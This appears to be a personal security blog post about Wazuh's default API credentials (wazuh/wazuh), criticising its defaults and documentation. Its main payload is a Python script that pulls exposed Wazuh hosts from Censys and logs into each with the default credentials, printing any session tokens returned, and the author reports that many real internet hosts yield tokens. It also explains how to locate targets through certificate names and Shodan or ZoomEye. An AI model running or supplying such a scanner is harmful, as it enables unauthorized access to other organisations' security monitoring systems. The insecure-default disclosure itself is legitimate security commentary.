loca1h0st's Blog
loca1h0st's Blog

Wazuh API Default Username and Password Issue

Wazuh API Default Username and Password Issue
“`html

Introduction

After installing Wazuh using the Quickstart method, by default, a random ADMIN_PASSWORD is generated for user login. This password is extremely strong and nearly impossible to crack through brute force.

INFO: --- Summary ---
INFO: You can access the web interface at https://<wazuh-dashboard-ip>
    User: admin
    Password: <ADMIN_PASSWORD>
INFO: Installation finished.

However, Wazuh also supports an API module, and the default configuration for this module has some issues that could potentially be exploited after installation.


Issues

Regarding the API, the official documentation states the following (Documentation link):

https://blog.mrtblogs.net/wp-content/uploads/2023/05/image-1-1024x460.png
The above documentation screenshot is from version v4.3; the latest version is v4.4. The only change is switching the GET authentication method to POST, with no other differences.

From the documentation, we can see that by default, a self-signed certificate is used, and the username and password for logging in are set to wazuh/wazuh, which does not match the authentication password used for the web interface. If the Wazuh API port is exposed to the internet or if an attacker has already infiltrated the internal network, they could potentially use these credentials to log in.


Attempting Verification

First, set up a Wazuh service locally and access the API to obtain the self-signed certificate details:

https://blog.mrtblogs.net/wp-content/uploads/2023/05/image-2-836x1024.png

From the certificate information, you can retrieve the Common Name, which allows you to find other services using the same certificate on the internet. Alternatively, you can search using the port’s fingerprint or go to engines like ZoomEye or Shodan to filter results.

https://blog.mrtblogs.net/wp-content/uploads/2023/05/image-3-1024x763.png

Now that we know how to search and log in, the remaining step is to write the code for verification. To simplify things, I’ll use ChatGPT to generate the necessary code.

https://blog.mrtblogs.net/wp-content/uploads/2023/05/image-4-1024x661.png
The detailed code is attached at the end; GPT 3.5 still needs some refinement for coding. It took four iterations to finalize it.

Once the code successfully runs, it shows that obtaining the jwt_token from the Wazuh system is exceedingly high. This indirectly indicates that the default configuration of the Wazuh API is not very reasonable.

https://blog.mrtblogs.net/wp-content/uploads/2023/05/image-6-1024x393.png
Only the GET method was tested; for 405 requests, POST should be used to accommodate the new interface, and you might also try the wazuh-wui user.

Conclusion

There is indeed a note about a Secure API on the Wazuh API interface, but the main focus on the page is: to configure the certificates, refer to the following guide Securing API.

Only in the explanatory inner pages does it remind users to change the default API password, highlighted with a red background.

https://blog.mrtblogs.net/wp-content/uploads/2023/05/image-5-1024x279.png
Furthermore, there is a default user called wazuh-wui, and changing this user’s password could affect the normal operation of the web interface.

The API user must log in using API methods to change their password. Users who don’t utilize the API may never realize there’s an additional user password that needs updating, and by default, the API listens on the 0.0.0.0 address, which is not a sound design choice.


Code Attachment

import httpx
import asyncio

async def main():
    # Set request headers; modify as needed
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
        'Accept': 'application/json',
        'Authorization': 'Basic REPLACE_YOURS'
    }

    # Send GET request
    url = "https://search.censys.io/api/v2/hosts/search?virtual_hosts=EXCLUDE&q=%28services.tls.certificates.leaf_data.issuer.common_name%3Dwazuh.com%29+and+services.port%3D%6055000%60"
    response = httpx.get(url, headers=headers)

    # Handle response data
    if response.status_code == 200:
        json_data = response.json()
        hits = json_data.get("result", {}).get("hits", [])
        urls = []
        for hit in hits:
            ip = hit.get("ip")
            if ip:
                url = f"https://{ip}:55000/security/user/authenticate?raw=true"
                urls.append(url)

        # Access all URLs concurrently
        async def get_url(url, auth):
            async with httpx.AsyncClient(auth=auth, verify=False) as client:
                return await client.get(url)

        auth = httpx.BasicAuth("wazuh", "wazuh")
        tasks = [get_url(url, auth) for url in urls]
        responses = await asyncio.gather(*tasks)

        # Output results
        for i, response in enumerate(responses):
            if response.status_code == 200:
                print(f"{hits[i]['ip']} - {response.text}")
            else:
                print(f"{hits[i]['ip']} - {response.status_code}")
    else:
        print(f"Request failed, status code: {response.status_code}")

# Run entry point
asyncio.run(main())
“`

Leave a Reply

textsms
account_circle
email

loca1h0st's Blog

Wazuh API Default Username and Password Issue
```html Introduction After installing Wazuh using the Quickstart method, by default, a random ADMIN_PASSWORD is generated for user login. This password is extremely stron…
Scan QR code to continue reading
2023-05-05